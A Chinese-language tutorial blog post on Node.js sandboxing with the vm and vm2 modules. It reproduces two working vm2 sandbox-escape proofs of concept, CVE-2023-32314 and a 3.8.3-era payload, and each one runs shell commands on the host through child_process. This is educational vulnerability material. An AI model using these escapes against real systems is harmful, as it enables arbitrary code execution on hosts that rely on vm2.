前置知识

  • JavaScriptNodejs 之间有什么区别:JavaScript 用在浏览器前端,后来将 Chrome 中的 v8 引擎单独拿出来为 JavaScript 单独开发了一个运行环境,因此 JavaScript 也可以作为一门后端语言,写在后端(服务端)的 JavaScript 就叫叫做 Nodejs
  • 什么是沙箱( sandbox )当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。
  • 沙箱( sandbox )和 虚拟机( VM )和 容器( Docker )之间的区别:sandboxVM 使用的都是虚拟化技术,但二者间使用的目的不一样。沙箱用来隔离有害程序,而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker 属于 sandbox 的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用 Dockersandbox 嵌套的方式更多一点,安全性也更高。
  • Nodejs 中,我们可以通过引入 vm 模块来创建一个“沙箱”,但其实这个 vm 模块的隔离功能并不完善,还有很多缺陷,因此 Node 后续升级了 vm ,也就是现在的 vm2 沙箱,vm2 引用了 vm 模块的功能,并在其基础上做了一些优化。

VM介绍

VM

Node.js 中,VM(Virtual Machine) 是一个用于解释和执行 JavaScript 代码的引擎。VM 是一个沙箱 ( sandbox ),它允许 Node.js 在执行脚本时限制其访问系统资源的权限,以防止脚本执行恶意代码或访问不必要的系统资源。

VM2

由于 vm 不安全,能轻易地获取到了主程序的全局对象 process ,造成沙箱逃逸,所以有了 vm2vm2 基于vm ,使用官方的 vm 库构建沙箱环境。然后使用 JavaScriptProxy 技术来防止沙箱脚本逃逸。

VM的使用

我们首先要引入 Nodejs 内置的 vm 模块。

1
const vm = require('vm');

在创建的虚拟机中执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
'use strict';
const vm = require("vm");
const x = 1;

const context = {
x: 2,
console: console
};

const code = `console.log(x);`;

vm.createContext(context);
vm.runInContext(code, context);

这里会发现终端上会打印 2 这个结果。如果我们在 context 中没有设置 console: console ,那就不会在终端上打印 2 。这里我的理解是,由于这里执行的代码中一个新的虚拟机,那么这个虚拟机中的环境和当前的环境是不一致的,也就是虚拟机中执行的命令不会回显到当前环境中,也就不会打印在终端上。但是背地还是执行了的。

在当前上下文执行代码

1
2
3
4
5
6
const vm = require("vm");  
global.x = 1;

const code = `console.log(x);`;

vm.runInThisContext(code);

示例说明VM模块的作用

使用VM模块来实现一个简单的沙盒

假设我们需要运行来自用户的 JavaScript 代码,但又不想让这些代码对我们的系统造成损害。这时,我们可以使用 VM 模块来实现一个简单的沙盒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require('vm');
const code = `
function add(a, b) {
return a + b;
}

console.log(add(2, 3));
console.log(process.argv);
`;

const context = {
console,
process: {
argv: ['node', 'index.js']
}
};

vm.createContext(context);
vm.runInContext(code, context);

上面的代码创建了一个虚拟机上下文,并在其中执行了 JavaScript 代码。在上下文中,我们定义了一个 console 对象和一个 process 对象,并向 process 对象中添加了一个 argv 属性。然后,我们执行了一个包含了一个 add 函数和一些输出语句的 JavaScript 代码。这个 JavaScript 代码会输出 5process.argv 数组。

这样,我们就成功地把用户的代码隔离在一个虚拟机中,避免了它对我们的系统造成损害。

VM2沙箱逃逸( v3.9.17,CVE-2023-32314)

漏洞概述

3.9.17 及以下版本的 vm2 中存在沙盒逃逸漏洞。它滥用基于代理规范的宿主对象的意外创建,并允许Function 在宿主上下文中通过导致 RCE

影响范围

Vm2 <= 3.9.17

漏洞复现

1
npm install vm2@3.9.17
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const { VM } = require("vm2");
const vm = new VM();

const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;

console.log(vm.run(code));

VM2沙箱逃逸(v3.8.3)

漏洞复现

1
npm install vm2@3.8.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

payload 来自 https://github.com/patriksimek/vm2/issues/225

补充说明

现在 VM2 这个项目作者已经不再维护了,并且作者建议我们不要在生产环境用这个项目了。因为 Node 日益复杂,防止 Node 沙箱逃逸是一件日益复杂的事情。而且主要是因为这个项目使用的防止逃逸的策略被证实是不当的,最新版本的 VM2 项目也存在沙箱逃逸,并且作者发现如果进一步防止沙箱逃逸需要更改整个项目的代码架构策略,因此作者选择了放弃。作者建议我们选择 isolated-vm 这个项目。这个项目选择了不同的思路但是一样有效的方式来防止沙箱逃逸。

参考文章

1
2
3
4
5
https://zhuanlan.zhihu.com/p/617758104
https://pythonjishu.com/dxmuzvsyrdduifx/
https://github.com/patriksimek/vm2/security/advisories/GHSA-7jxr-cg7f-gpgv
https://github.com/patriksimek/vm2
https://github.com/patriksimek/vm2/issues/225